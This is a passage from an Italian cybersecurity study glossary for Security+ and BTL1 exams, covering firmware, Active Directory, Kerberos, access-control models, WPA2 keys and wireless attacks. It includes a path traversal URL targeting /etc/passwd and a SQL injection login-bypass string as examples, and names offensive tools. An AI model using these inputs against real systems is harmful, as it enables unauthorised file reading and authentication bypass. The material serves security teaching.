raccoglie dati (log, traffico, processi) e li invia a un sistema centrale (SIEM, NIDS console, EDR). Non è un agente AI — è un demone Linux con un ruolo specifico di raccolta e inoltro. Distinzione: daemon è il termine Unix per l'implementazione tecnica (processo background senza terminale); agent è il termine security per il ruolo funzionale. Tutti i security agent sono daemon, ma non tutti i daemon sono agent. Esempi: Wazuh agent (wazuh-agentd), OSSEC, Suricata, CrowdStrike Falcon. Hook mnemonico: agent security = daemon Linux con un lavoro specifico — spia che raccoglie informazioni e le manda al quartier generale.\nTTY (TeleTYpewriter): Nome storico che viene dai telescriventi fisici degli anni '70 collegati ai mainframe. Oggi indica qualsiasi terminale — fisico (tty1) o virtuale (pts/N). In ps aux, la colonna TTY mostra il terminale associato al processo: pts/N = sessione interattiva (SSH, tmux), ? = nessun terminale (demone o processo di sistema).\npts (Pseudo-Terminal Slave): Terminale virtuale assegnato dalla shell a ogni sessione interattiva. Numerato progressivamente: pts/0, pts/1... Non ha relazione con le variabili PS1/PS2 della shell.\nSistemi e Infrastruttura # BIOS — Basic Input/Output System: il firmware che fornisce a un computer le istruzioni base per avviarsi. E' sia hardware che software allo stesso tempo: un chip fisico saldato sulla scheda madre (puoi toccarlo), che contiene firmware — codice software inciso in memoria non volatile. Al boot, prima di qualsiasi SO, e' il BIOS a fare i controlli iniziali (POST), trovare il disco di avvio e passare il controllo al bootloader. L'interfaccia a cui accedi con DEL/F2/F12 e' la UI di quel firmware. Sostituito modernamente da UEFI sui sistemi nuovi. Exam tip: BIOS = firmware su chip, non solo \u0026quot;schermata di avvio\u0026quot;.\nUEFI — Unified Extensible Firmware Interface: il successore moderno del BIOS. Fa le stesse cose (avvia il sistema, controlla l'hardware) ma con capacita' aggiuntive: supporta dischi oltre i 2TB (GPT invece di MBR), e' progettato per essere indipendente dalla CPU, ha un'interfaccia grafica, supporta Secure Boot. Secure Boot e' la funzionalita' chiave per la sicurezza: verifica che ogni componente del processo di avvio (bootloader, kernel) sia firmato crittograficamente da un'autorita' fidata — impedisce ai rootkit di inserirsi nel boot. Come il BIOS, risiede su un chip firmware sulla scheda madre e puo' essere aggiornato tramite flashing. Exam tip: UEFI e' la base su cui si costruisce la boot integrity moderna.\nTPM — Trusted Platform Module: chip di sicurezza dedicato integrato nella scheda madre (o in alcuni casi implementato via firmware). Funziona come cassaforte hardware per operazioni crittografiche: genera e conserva chiavi di cifratura che non lasciano mai il chip, misura l'integrita' del boot (measured boot), fornisce numeri casuali hardware. Tool esempio: BitLocker usa il TPM per conservare la chiave di cifratura del disco — la chiave e' legata all'hardware, non alla password. Se qualcuno sposta il disco su un altro PC, il TPM non c'e' e il disco rimane cifrato. Caso reale: un laptop rubato con BitLocker + TPM — l'attaccante non puo' accedere ai dati anche smontando il disco e collegandolo altrove. Hook mnemonico: TPM = cassaforte hardware che conosce il tuo computer. Se cambi computer, la cassaforte non si apre. Exam tip: TPM e' spesso usato in coppia con UEFI Secure Boot per garantire boot integrity end-to-end.\nOS — Operating System: software che fa da intermediario tra hardware e applicazioni. Gestisce CPU, RAM, disco, rete tramite il kernel — il componente che parla direttamente con l'hardware. Il resto (shell, librerie, app) gira sopra il kernel nello userspace. Esempi: Linux, Windows, macOS. Tool esempio: uname -r mostra la versione del kernel in uso. Caso reale: nei container Docker il kernel e' condiviso con l'host — non c'e' un kernel separato per container. Una vulnerabilita' del kernel host e' una vulnerabilita' di tutti i container. Hook: kernel = cuore dell'OS, userspace = tutto il resto. Container condividono il kernel, VM no.\nFilesystem: il sistema che organizza e struttura i file su disco. Definisce come i dati vengono scritti, letti, nominati e organizzati in cartelle. La scelta del filesystem determina anche i permessi supportati. Tool esempio: df -Th mostra filesystem montati e tipo (ext4, tmpfs, ecc.). Caso reale: NTFS supporta permessi per utente (DACL/ACE) — FAT32 no. Un attaccante che accede a un disco FAT32 non incontra nessun controllo di accesso basato su identita'. Esempi: ext4 (Linux), NTFS (Windows), APFS (macOS), FAT32 (USB/compatibilita'). Hook: filesystem = cassetti del disco. Ogni container Docker ha i suoi cassetti isolati (layer OverlayFS), ma usa lo stesso kernel per aprirli.\nAD (Active Directory): Servizio di directory Microsoft che gestisce identità, permessi e policy in una rete aziendale Windows. Praticamente ogni azienda con più di 10 PC lo usa. La versione completa si chiama AD DS — Active Directory Domain Services — dove DS indica il servizio specifico dentro Windows Server che gestisce il dominio (autenticazione, Group Policy, database degli oggetti). \u0026quot;Active Directory\u0026quot; da solo è il nome generico, \u0026quot;AD DS\u0026quot; è il componente tecnico preciso. Tool offensivi: BloodHound (mappa i percorsi di attacco in AD), Mimikatz (dumping credenziali), Impacket. Caso reale: Colonial Pipeline (2021) — gli attaccanti si sono mossi lateralmente attraverso AD per raggiungere i sistemi OT che controllavano il gasdotto. Fermato per 6 giorni, carburante razionato sulla East Coast USA. Hook: \u0026quot;chi controlla AD controlla l'azienda\u0026quot;. Il Domain Controller è la corona jewel — chi lo compromette ha le chiavi di tutto.\nDC (Domain Controller): Il server centrale di Active Directory. Autentica utenti e computer, autorizza l'accesso alle risorse, applica le Group Policy a tutti i PC del dominio. Contiene il database NTDS.dit con tutti gli hash delle password. Hook: se un attaccante ottiene accesso al DC, può estrarre gli hash di tutti gli utenti del dominio con un DCSync attack — game over per l'intera rete.\nSCADA (Supervisory Control and Data Acquisition): Sistema di controllo industriale per gestire infrastrutture critiche — centrali nucleari, reti elettriche, acquedotti, oleodotti. È una rete privata segmentata dall'intranet aziendale, con protocolli spesso proprietari e legacy. Accesso estremamente ristretto, difficile da aggiornare. Architettura tipica: sensori fisici → PLC (Programmable Logic Controller) → server SCADA. Il perimetro è protetto da firewall + NIPS (NIPS 2 nel modello Gibson). Target ad alto valore per APT e attori nation-state. Caso reale: Stuxnet (2010) — worm che ha sabotato le centrifughe di arricchimento dell'uranio in Iran attaccando i PLC Siemens via SCADA. Hook mnemonico: SCADA = \u0026quot;cervello degli impianti industriali\u0026quot; — se lo comprometti, controlli la centrale o l'acquedotto. Exam trap: SCADA/OT (Operational Technology) ha requisiti di availability altissimi — un patch che richiede downtime può essere inaccettabile, per cui i sistemi restano non aggiornati a lungo.\nKerberos: Protocollo di autenticazione usato in Active Directory. Non manda la password in rete — usa ticket crittografati (TGT e TGS) emessi dal DC. E' la soluzione SSO per reti interne (AD, Unix realm) — ti loggi una volta, il TGT ti dà accesso a tutte le risorse del dominio senza reinserire la password. NON usato su Internet o tra organizzazioni diverse (per quello c'è SAML). Attacchi comuni: Kerberoasting (richiede ticket per service account e li cracka offline), Pass-the-Ticket, Golden Ticket (forgia ticket TGT usando il hash di KRBTGT). Hook: in un pcap, kerberos.CNameString contiene il nome utente autenticato — utile per identificare chi stava usando un host in un'analisi DFIR.\nFirmware: software memorizzato permanentemente in hardware dedicato — tipicamente flash memory o ROM. E' il livello piu' basso del software: gira prima del sistema operativo, controlla direttamente l'hardware. La parola nasce dall'unione di \u0026quot;hardware\u0026quot; (il chip fisico) e \u0026quot;software\u0026quot; (il codice dentro) — sta nel mezzo, da cui \u0026quot;firm\u0026quot; (solido, stabile). Esempi: BIOS/UEFI (firmware della scheda madre), firmware di router e switch, OS dei dispositivi mobili (conservato in flash memory integrata). Aggiornamento: tramite flashing (sovrascrive il chip) o OTA — Over-The-Air (wireless, usato sui dispositivi mobili). Caso reale: il firmware di un router non aggiornato contiene vulnerabilita' note — gli attaccanti le sfruttano perche' la maggior parte degli utenti non aggiorna mai il firmware del router. Hook mnemonico: firmware = \u0026quot;il software che non puoi cancellare facilmente\u0026quot; — vive nell'hardware. Exam trap: firmware != software applicativo. Il firmware non si installa, si flasha. Un errore durante il flashing puo' \u0026quot;brickare\u0026quot; il dispositivo (renderlo inutilizzabile).\nMDM — Mobile Device Management: tecnologia per gestire centralmente i dispositivi mobili di un'organizzazione (smartphone, tablet). Permette di applicare policy di sicurezza, distribuire app, monitorare lo stato dei device e intervenire da remoto. Funzionalita' chiave: application management (allow list), full device encryption, storage segmentation, containerization, screen lock policy, remote wipe, geofencing, GPS tagging, context-aware authentication. Tool esempio: Microsoft Intune, Jamf (iOS/macOS), VMware Workspace ONE. Caso reale: un dipendente perde lo smartphone aziendale — l'admin invia un remote wipe che cancella tutti i dati incluse le password cached prima che qualcuno possa accedervi. Hook mnemonico: MDM = \u0026quot;telecomando per tutti i telefoni aziendali\u0026quot;. Exam trap: containerization in MDM non e' come Docker — e' isolare i dati aziendali in un'area cifrata sul device, utile soprattutto in BYOD dove non puoi cifrare l'intero dispositivo personale del dipendente.\nUEM — Unified Endpoint Management: evoluzione dell'MDM che gestisce qualsiasi endpoint — mobile, desktop, laptop, IoT — da un'unica piattaforma. Non solo smartphone: include PC Windows, Mac, dispositivi Linux. Esempio: Microsoft Configuration Manager (SCCM) con supporto iOS e Android. Hook: MDM = solo mobile. UEM = tutto. Exam trap: se la domanda dice \u0026quot;gestisce desktop E mobile da un'unica console\u0026quot; → UEM, non MDM.\nAccounting structure (sostantivo) — struttura contabile / meccanismo di tracciamento. In IT governance e change management: il sistema che documenta, registra e traccia ogni richiesta di modifica — chi l'ha richiesta, quando, cosa e' stato approvato, chi l'ha implementata, con quale esito. Non ha nulla a che fare con la contabilita' finanziaria: e' una metafora. Come un libro mastro tiene traccia di ogni transazione economica, l'accounting structure tiene traccia di ogni cambiamento ai sistemi IT. Tool esempio: ServiceNow, Jira Service Management (ticketing con workflow di approvazione), sistemi CMDB. Caso reale: un admin modifica la configurazione di un firewall senza passare per il change management — nessuna documentazione, nessuna approvazione. Se quella modifica causa un outage, nessuno sa cosa e' cambiato ne' come tornare allo stato precedente. L'accounting structure e' esattamente quella traccia che manca. Hook mnemonico: \u0026quot;ogni cambiamento lascia una firma\u0026quot;. Exam tip: change management ha due obiettivi — evitare outage non pianificati e fornire una accounting structure per documentare ogni modifica.\nTool Offensivi e di Testing # Burp Suite — tool standard per il testing della sicurezza delle web application. Sviluppato da PortSwigger (portswigger.net/burp). La funzione principale è il proxy intercettore: si posiziona tra il browser e il server, cattura ogni richiesta HTTP/HTTPS prima che parta e permette di modificarla a mano. Questo rende il bypass della client-side validation banale in pochi secondi — il motivo per cui Gibson dice che la validazione lato client non è sicurezza. Funzioni principali: Proxy (intercetta/modifica), Repeater (rimanda richieste modificate), Intruder (fuzzing automatico su un campo), Scanner (rileva XSS, SQLi, ecc.), Decoder (Base64, URL encoding). Versione Community gratuita, versione Pro a pagamento con scanner automatico. Tool standard nei lab BTL1 e in qualsiasi penetration test su web app. Hook mnemonico: Burp = ruttare — fa \u0026quot;uscire\u0026quot; quello che il server tiene dentro, intercettando e rivelando tutto il traffico. Vulnerabilità Web (OWASP A01, A03) # Path Traversal (o Directory Traversal): Vulnerabilità che permette di leggere file fuori dalla directory radice del server web usando sequenze ../. Esempio: https://sito.it/download?file=../../etc/passwd — il server legge il file delle password di sistema. Hook: il server non valida dove sta andando. La difesa è canonicalizzare il path e rifiutare tutto ciò che esce dalla directory consentita.\nLFI (Local File Inclusion): Come Path Traversal, ma il server esegue il file incluso invece di limitarsi a leggerlo. Se un attaccante riesce a caricare un file PHP e poi a includerlo via LFI, ottiene RCE. Hook: Path Traversal legge, LFI esegue. La differenza è critica per la severità.\nRCE (Remote Code Execution): Esecuzione di comandi arbitrari sul sistema target da remoto — il livello massimo di compromissione a livello applicativo. Caso reale: Log4Shell (CVE-2021-44228) — una stringa nel campo User-Agent causava RCE su qualsiasi server che usava Log4j. Colpì Amazon, Apple, Cloudflare, Tesla. CVSS 10.0. Hook: se un attaccante ha RCE, ha tutto. È il \u0026quot;game over\u0026quot; delle vulnerabilità web.\nInjection: Inserimento di input malevoli in un interprete (SQL, Bash, OS, LDAP) per alterarne il comportamento. Esempio SQLi: ' OR '1'='1 in un campo login bypassa l'autenticazione se la query non è parametrizzata. Caso reale: breach di Yahoo (2012) — 500M account rubati via SQL injection. È la A03 di OWASP da anni. Hook: l'interprete non distingue dati da comandi. La difesa è sempre parametrizzare — mai concatenare stringhe in una query.\nRansomware: Malware che cifra i file della vittima e richiede riscatto per la chiave. Il moderno ransomware usa Double Extortion: cifra i dati E minaccia di pubblicarli se non paghi. Esempi: WannaCry (2017, 200k sistemi in 150 paesi, NHS UK offline), LockBit, REvil/Sodinokibi, BlackCat. Caso reale: WannaCry si propagò via EternalBlue (exploit NSA leaked da Shadow Brokers) su SMB — colpì sistemi Windows non aggiornati in ore. Patch disponibile da 2 mesi, ignorata. Hook: \u0026quot;encrypt then extort\u0026quot;. La difesa principale è backup offline testato — senza backup, le opzioni sono pagare o perdere tutto.\nIAM — Identity and Access Management # Flusso e Controllo Accessi # AAA / IAAA — Authentication, Authorization, Accounting / + Identification. Il flusso base: dichiari chi sei (I), lo provi (A), il sistema decide cosa puoi fare (A), registra tutto (A). Exam trap: la I di Identification viene spesso omessa — ma senza identification non sai a chi attribuire le azioni nei log.\nMFA — Multi-Factor Authentication — autenticazione a piu' fattori. Richiede due o piu' fattori di categorie diverse (Know / Have / Are / Somewhere). Exam trap: due fattori della stessa categoria (es. impronta + iris = Are + Are) NON e' MFA — e' single factor authentication con due metodi.\nSSO — Single Sign-On — un unico login per accedere a piu' risorse senza riautenticarsi. Il sistema emette un token alla prima autenticazione, presentato automaticamente alle risorse successive. Rischio: password compromessa = accesso a tutto. Hook: \u0026quot;il passaporto aziendale\u0026quot; — lo mostri una volta, entri ovunque.\nKBA — Knowledge-Based Authentication — autenticazione basata su conoscenza. Tre varianti: Static KBA (domande preimpostate — \u0026quot;nome del primo cane\u0026quot;), Dynamic KBA (domande da dati pubblici — credit report, veicoli), Identity Proofing (verifica identita' alla creazione account).\nOTP — One-Time Password — password monouso valida per una sola autenticazione. Due implementazioni: HOTP (counter-based) e TOTP (time-based).\nHOTP — HMAC-based One-Time Password — OTP generato premendo un bottone fisico (incrementa un counter). Non scade finche' non viene usato. Non richiede connessione al server.\nTOTP — Time-based One-Time Password — OTP generato automaticamente ogni 30-60 secondi basandosi sull'ora corrente. Scade alla fine della finestra temporale. Usato da Google Authenticator.\nModelli di Autorizzazione # RBAC — Role-Based Access Control — i permessi sono assegnati ai ruoli, non agli utenti. L'utente eredita i permessi del ruolo. Esempi: Windows AD Groups. Hook: \u0026quot;sei quello che fai\u0026quot; — il ruolo definisce l'accesso.\nRule-BAC — Rule-Based Access Control — i permessi sono definiti da un insieme di regole approvate in una ACL (Access Control List). Le regole definiscono cosa e' permesso o negato. Exam trap: non confondere con RBAC — Rule-BAC usa Regole, RBAC usa Ruoli.\nTre casi da ricordare:\nTipo Esempio Statica/Dinamica Firewall/router ACL Blocca Facebook, permetti solo HTTP/HTTPS uscente Statica — l'admin la crea, resta finche' non la cambia IPS anti-attacco Rileva brute force → aggiunge regola blocco IP attaccante automaticamente Dinamica — l'attacco triggera la modifica della regola Applicazione Se Marge e' assente → Homer ottiene permessi extra sul DB Dinamica — un evento triggera un cambio di permessi Caso reale: il firewall aziendale blocca Facebook con una regola DENY outbound to facebook.com port 443 — Rule-BAC statico. Quando l'IPS rileva un attacco e aggiorna l'ACL automaticamente per bloccare quell'IP — Rule-BAC dinamico.\nDAC — Discretionary Access Control — il proprietario dell'oggetto decide chi puo' accedervi. NTFS Windows usa DAC. Ogni file ha un proprietario (SID) e una DACL con le ACE.\nMAC — Mandatory Access Control — il sistema assegna label di sicurezza (Top Secret, Secret, Confidential) a oggetti e soggetti. L'accesso dipende dal confronto tra label — il proprietario non puo' cambiare i permessi. Implementato da SELinux su Linux. Exam trap: MAC ha tre significati in Security+: Mandatory Access Control, MAC address, Message Authentication Code.\nABAC — Attribute-Based Access Control — valuta Subject + Object + Action + Environment per decidere l'accesso. Piu' granulare di RBAC. Comune in SDN e cloud zero-trust. Hook: \u0026quot;non chi sei, ma tutto il contesto di chi sei\u0026quot;.\nACL — Access Control List — lista di regole che definiscono chi puo' fare cosa su una risorsa. Usata da firewall (Rule-BAC) e filesystem (DAC/NTFS). Ogni voce e' un ACE.\nACE — Access Control Entry — singola riga dentro una DACL che definisce i permessi di un utente o gruppo su un oggetto. Es: \u0026quot;Homer — Full Control\u0026quot; e' un ACE. Analogia Linux: ogni ACE e' come una singola riga di permesso in chmod — ma piu' granulare perche' puoi averne una diversa per ogni utente invece delle tre categorie fisse (owner/group/others).\nDACL — Discretionary Access Control List — la lista delle ACE associata a un oggetto NTFS. Determina chi puo' leggere, scrivere, eseguire o avere Full Control su quel file o cartella.\nSID — Security Identifier — identificatore numerico univoco di un utente o gruppo in Windows AD. Formato: S-1-5-21-399187189-223218. Analogia Linux: equivalente del UID (uid=1000). Il sistema usa il SID internamente, non il nome account — rinominare un utente non cambia il SID, esattamente come su Linux rinominare un utente non cambia il suo UID e quindi non cambia i permessi sui file.\nBiometria # FAR — False Acceptance Rate — percentuale di volte che il sistema biometrico accetta un NON autorizzato. Alto FAR = sistema permissivo = pericoloso. Hook: \u0026quot;Falso Allarme Verde\u0026quot;.\nFRR — False Rejection Rate — percentuale di volte che il sistema rifiuta un utente AUTORIZZATO. Alto FRR = sistema rigido = scocciatura per gli utenti legittimi. Hook: \u0026quot;Falso Allarme Rosso\u0026quot;.\nCER — Crossover Error Rate — il punto in cui FAR = FRR. Piu' basso e' il CER, piu' accurato e' il sistema biometrico. E' la metrica principale per confrontare sistemi biometrici. Hook: \u0026quot;CER basso = campione del mondo\u0026quot;.\nFederation e Protocolli # IdP — Identity Provider — entita' che crea, mantiene e gestisce le identita' degli utenti ed emette assertion di autenticazione. Es: la centrale nucleare di Homer nel contesto SAML, o Google/Okta/Azure AD nel mondo reale.\nSP — Service Provider — il servizio o applicazione a cui l'utente vuole accedere. Si fida dell'IdP per verificare l'identita' dell'utente senza gestire direttamente le credenziali. Es: la scuola di Springfield nel contesto SAML.\nSAML — Security Assertion Markup Language — standard XML per SSO su web browser. Scambia assertion di autenticazione e autorizzazione tra organizzazioni diverse (IdP e SP). Hook: \u0026quot;SAML = SSO per il web tra organizzazioni diverse\u0026quot;. Exam trap: SAML usa XML, OAuth usa JSON/token.\nOAuth — Open Authorization — standard per l'AUTHORIZATION (non authentication). Permette a un'app di accedere a risorse di un altro servizio per conto dell'utente senza condividere le credenziali. Exam trap: \u0026quot;Auth\u0026quot; in OAuth = Authorization, non Authentication.\nLDAP — Lightweight Directory Access Protocol — protocollo (non un linguaggio di programmazione) per interrogare e modificare servizi di directory come Active Directory. Un protocollo definisce le regole di comunicazione tra due sistemi in rete — come HTTP definisce come browser e server si parlano, LDAP definisce come un client e una directory service si scambiano dati. Non si scrive codice in LDAP: si usano librerie (es. symfony/ldap in PHP) che costruiscono i messaggi secondo le sue regole. LDAPS = versione cifrata su TLS, porta 636. Exam trap: LDAP in chiaro (porta 389) trasmette credenziali non cifrate — usare sempre LDAPS.\nSDN — Software-Defined Network — architettura di rete in cui il piano di controllo e' separato dal piano dati e gestito via software. Comune in cloud. Permette policy ABAC granulari applicate dinamicamente al traffico.\nAccount e Accesso Privilegiato # PAM — Privileged Access Management — sistema che gestisce e monitora l'accesso agli account privilegiati. Funzionalita': just-in-time permissions, password vault (l'admin non vede la password), auto-rotation, full logging. Hook: \u0026quot;PAM = custode delle chiavi dei super-admin\u0026quot;.\nGPO — Group Policy Object — oggetto in Active Directory che contiene policy di configurazione distribuite automaticamente a utenti e computer del dominio. Esempi: blocco USB, screensaver con password, configurazione firewall. Hook: le \u0026quot;circolari\u0026quot; che il DC manda a tutti i PC del dominio.\nNTFS — New Technology File System — filesystem di Windows introdotto con Windows NT (1993). \u0026quot;NT\u0026quot; = New Technology, il nome del progetto Microsoft che sostituì il vecchio kernel DOS. Solo NTFS supporta permessi per utente (DACL, ACE, SID) — FAT32 e exFAT non li supportano. Analogia Linux: NTFS sta a Windows come ext4 + chmod/chown sta a Linux. Exam trap: quando una domanda parla di permessi file su Windows, il filesystem sottostante e' sempre NTFS.\nSegnaposto — Cap 5 (Encryption e PKI) # TPM — Trusted Platform Module — chip fisico sulla scheda madre del PC che gestisce chiavi crittografiche, misura l'integrita' del boot e protegge credenziali. NON e' un metodo MFA per l'utente. Approfondimento: Cap 5 Gibson.\nHSM — Hardware Security Module — dispositivo fisico aziendale (rack o USB) per generare, proteggere e gestire chiavi crittografiche su larga scala. Piu' potente e costoso del TPM — usato in banche, CA, ambienti enterprise. NON e' un metodo MFA per l'utente. Approfondimento: Cap 5 Gibson.\nRADIUS — Remote Authentication Dial-In User Service — protocollo di autenticazione centralizzata per l'accesso alla rete: VPN, Wi-Fi aziendale, switch, router. Il server RADIUS verifica le credenziali e autorizza l'accesso alla rete. Non e' per applicazioni web o federation tra organizzazioni. Approfondimento: Cap 3-4 Gibson.\nIEEE 802.1X — standard per il controllo degli accessi basato su porta (port-based NAC). IEEE e' solo il nome dell'ente che ha pubblicato lo standard (Institute of Electrical and Electronics Engineers) — come \u0026quot;ISO\u0026quot; in ISO 27001. In pratica tutti dicono \u0026quot;802.1X\u0026quot; senza il prefisso: sono la stessa cosa. Definisce il framework di autenticazione usato in WPA2/WPA3 Enterprise: l'AP (authenticator) passa le credenziali al RADIUS server (authentication server) che decide se concedere l'accesso.\nEAP — Extensible Authentication Protocol — framework di autenticazione che definisce come due sistemi creano una chiave di cifratura condivisa (PMK). Non e' un protocollo completo ma una struttura su cui si costruiscono metodi specifici (PEAP, EAP-TLS, ecc.). Gibson: \u0026quot;A key point to remember for each EAP method is if they support or require certificates.\u0026quot; — e' la domanda chiave dell'esame.\nEAPOL — EAP over LAN — incapsulamento di EAP usato direttamente su reti locali (Ethernet o wireless) senza IP. I 4 messaggi del WPA2 4-way handshake sono frame EAPOL. Il client (supplicant) e l'AP (authenticator) si scambiano EAPOL per derivare le chiavi di sessione prima che inizi il traffico cifrato.\nPMK — Pairwise Master Key — chiave \u0026quot;master\u0026quot; derivata dalla passphrase WPA2-PSK (o dal processo 802.1X/EAP in Enterprise mode). Non viene mai usata direttamente per cifrare il traffico — serve come input per generare la PTK tramite il 4-way handshake. Unica per ogni coppia client-AP. Hook: Master = genitore. La PMK genera la PTK, non cifra direttamente.\nPTK — Pairwise Transient Key — chiave di sessione effimera derivata durante il 4-way handshake da: PMK + ANonce + SNonce + MAC client + MAC AP. Usata da CCMP/AES per cifrare il traffico unicast tra client e AP. Diversa per ogni sessione anche se la passphrase non cambia. Distrutta alla fine della sessione. Exam trap: catturare il 4-way handshake non rivela la PTK — permette solo di verificare guess sulla passphrase offline. Hook: Transient = temporanea. Nasce e muore con la sessione.\nGTK — Group Temporal Key — chiave separata usata per cifrare il traffico broadcast e multicast (pacchetti inviati a tutti i client contemporaneamente). Trasmessa nel messaggio M3 del 4-way handshake, cifrata con la PTK. Condivisa tra tutti i client associati allo stesso AP — per questo non può essere usata per il traffico unicast (un client potrebbe decifrare il traffico degli altri). Hook: Group = condivisa dal gruppo. PTK è privata, GTK è di tutti.\nANonce / SNonce — Authenticator Nonce / Supplicant Nonce. Numeri casuali usa-e-getta (number used once) generati rispettivamente dall'AP (M1) e dal client (M2) durante il 4-way handshake. Combinati con PMK e MAC address per derivare la PTK. Garantiscono che la PTK sia unica per ogni sessione anche se la PMK rimane la stessa. Hook: Nonce = numero usato una volta sola. Se venisse riusato, la PTK sarebbe prevedibile (→ attacco KRACK).\nMIC — Message Integrity Code — firma crittografica allegata ai messaggi M2 e M3 del 4-way handshake. Dimostra che chi ha inviato il messaggio conosce la PMK (e quindi la passphrase), senza rivelarla. L'attacco WPA2-PSK offline funziona provando passphrase → calcolando PMK → calcolando PTK → verificando se il MIC combacia.\nPEAP — Protected EAP — incapsula EAP in un tunnel TLS. Richiede certificato solo sul server (non sul client). Caso reale: ufficio Windows con Active Directory — il laptop usa username/password AD, solo il server RADIUS ha il certificato. Implementazione comune: MS-CHAPv2.\nEAP-TLS — variante EAP piu' sicura: richiede certificati sia sul server che sul client. Caso reale: banca o governo con PKI interna — l'azienda emette un certificato al device dell'utente. Entrambi si autenticano con cert.\nEAP-TTLS — EAP Tunneled TLS — come EAP-TLS ma il certificato e' richiesto solo sul server, non sul client. Permette protocolli legacy (PAP) dentro il tunnel TLS. Ambienti misti Linux/Windows.\nEAP-FAST — EAP Flexible Authentication via Secure Tunneling — progettato da Cisco come sostituto di LEAP. Usa PAC (Protected Access Credential) invece di certificati. Specifico per ambienti Cisco.\nMetodo Cert server Cert client Hook PEAP Sì No Password AD, solo server ha cert EAP-TLS Sì Sì Entrambi hanno cert — massima sicurezza EAP-TTLS Sì No Come TLS ma legacy dentro il tunnel EAP-FAST No (PAC) No (PAC) Cisco, niente cert Kerberos # KDC — Key Distribution Center — il componente di Active Directory che implementa Kerberos. Emette i ticket di autenticazione. Sul Domain Controller ci sono due parti: AS (Authentication Service) che emette il TGT, e TGS (Ticket Granting Service) che emette i Service Ticket.\nTGT — Ticket Granting Ticket — il \u0026quot;master ticket\u0026quot; emesso dal KDC dopo il primo login. Valido circa 10 ore. Presentato al KDC per ottenere Service Ticket senza reinserire la password. Non contiene la password — contiene una chiave di sessione cifrata e il PAC.\nPAC — Privileged Attribute Certificate — struttura dati dentro il ticket Kerberos che contiene: SID dell'utente, gruppi di appartenenza, diritti e restrizioni. La risorsa legge il PAC e sa gia' cosa puo' fare l'utente senza fare query aggiuntive al DC.\nWireless e NAC # Rogue device — dispositivo non autorizzato collegato alla rete aziendale, non gestito dall'IT. Esempi: laptop personale portato da un dipendente, Raspberry Pi nascosto dietro una scrivania, switch non autorizzato collegato a una presa libera. 802.1X blocca i rogue device tenendo la porta in stato \u0026quot;unauthorized\u0026quot; finché non c'è autenticazione valida. Hook: \u0026quot;rogue\u0026quot; = fuorilegge — un device che non dovrebbe essere lì.\nWall jack / RJ-45 port — presa RJ-45 fisica nel muro di un ufficio, collegata a una porta dello switch di rete. Con 802.1X, ogni wall jack è una porta controllata: chiunque si colleghi deve autenticarsi prima che la porta venga aperta. Senza 802.1X, chiunque raggiunga fisicamente una presa può connettersi alla rete. Caso reale: un visitatore o attaccante trova una presa RJ-45 libera in una sala riunioni e collega un laptop rogue. 802.1X blocca la connessione; senza 802.1X ha accesso immediato alla rete interna.\nCaptive portal — pagina web di login che intercetta il traffico di un client prima di dargli accesso alla rete. Il gateway blocca tutto il traffico tranne porta 80/443 verso il server del captive portal; l'utente viene reindirizzato al login. Dopo l'autenticazione o accettazione dei ToS, il gateway sblocca il traffico per quell'IP/MAC. Tool: pfSense (built-in), OpenWRT con nodogsplash, soluzioni cloud (Cisco Meraki, Aruba Clearpass). Caso reale: WiFi di hotel, aeroporti, caffè — l'utente si connette, apre il browser, viene reindirizzato alla pagina dell'hotel con codice stanza o email. Hook: il browser è \u0026quot;catturato\u0026quot; (captive) e non può uscire finché non fa login.\nRogue Access Point (Rogue AP) — AP installato nella rete aziendale senza autorizzazione, da un dipendente o da un attaccante. Si collega fisicamente a una presa RJ-45 libera (wall jack) in un armadio di rete o sala riunioni. Funge da bridge tra wired e wireless: cattura il traffico della rete cablata e lo ritrasmette wireless (l'attaccante nel parcheggio riceve tutto), oppure permette all'attaccante di accedere alla rete interna da remoto. Tool: qualsiasi AP economico (TP-Link, Raspberry Pi con hostapd). Hook: \u0026quot;rogue\u0026quot; = infiltrato fisico nella rete.\nEvil Twin — Rogue AP con lo stesso SSID (o simile) di un AP legittimo. I client ignari si connettono pensando sia il WiFi del bar/aeroporto. L'attaccante fa da proxy trasparente: la vittima naviga normalmente ma tutto il traffico HTTP passa in chiaro davanti all'attaccante. Non richiede hardware speciale — basta un laptop con scheda wireless e hostapd. Tool: hostapd, airbase-ng, WiFi Pumpkin. Hook: il gemello cattivo ha la stessa faccia (SSID) ma intenti diversi.\nDisassociation attack — Attacco che disconnette forzatamente un client wireless inviando un disassociation frame con il MAC spoofato della vittima all'AP. In 802.11 pre-WPA3, i management frame non sono autenticati: l'AP accetta il frame senza verificarne l'origine. La vittima viene disconnessa e deve riautenticarsi. Usato come DoS o per forzare la riconnessione (es. per catturare l'handshake WPA2). Tool: aireplay-ng (--deauth), mdk4. Protezione: WPA3 con Management Frame Protection (MFP) firma i management frame. Hook: qualcuno manda un \u0026quot;ciao, mi disconnetto\u0026quot; firmato con il tuo nome — l'AP ci crede.\nJamming — Attacco DoS wireless che trasmette rumore radio (o segnale forte) sulla stessa frequenza della rete WiFi, rendendo illeggibili i pacchetti. Opera al Layer 1 (fisico). Non ruba dati — blocca il servizio. Analogia: urlare in una stanza dove altri cercano di parlare. Hook: come far crashare un segnale radio con il rumore — non serve hackerare, basta sovrastare.\nNFC (Near Field Communication) — Standard wireless a cortissimo raggio (~4 cm, 13.56 MHz). Sottoinsieme di RFID. Bidirezionale. Usato in: pagamenti contactless (carte, Apple Pay, Google Pay), pairing Bluetooth, condivisione dati. Attacco tipico: eavesdropping con antenna potenziata per catturare dati della transazione in spazi affollati. Carte moderne usano token one-time — il numero reale non viene trasmesso. Hook: \u0026quot;near\u0026quot; = vicinissimo. Se l'attaccante deve stare a 4 cm da te, è difficile ma non impossibile in metropolitana.\nRFID (Radio-Frequency Identification) — Tecnologia che usa onde radio per identificare oggetti tramite tag. Range e frequenza variano molto (125 kHz per microchip animali, 13.56 MHz per badge accesso, 900 MHz+ per container). Tag passivi: nessuna batteria, si alimentano dal campo RF del reader. Tag attivi: hanno batteria, range maggiore, possono iniziare la comunicazione (es. Telepass). NFC è un sottoinsieme di RFID. Attacchi: sniffing, cloning (copia il tag), DoS (jamming della frequenza). Caso reale: badge HID usati in milioni di uffici trasmettono ID in chiaro — clonabili con hardware da $50 in meno di 1 secondo di prossimità.\nPAN (Personal Area Network) — Rete di device attorno a una singola persona, tipicamente entro 10 metri. Tecnologie: Bluetooth (cuffie, mouse, tastiera), NFC (pagamenti), ZigBee (IoT). Diverso da LAN (rete locale aziendale/casalinga) per scope e distanza.\nBluejacking — Invio non richiesto di messaggi (testo, immagini, suoni) a device Bluetooth vicini. 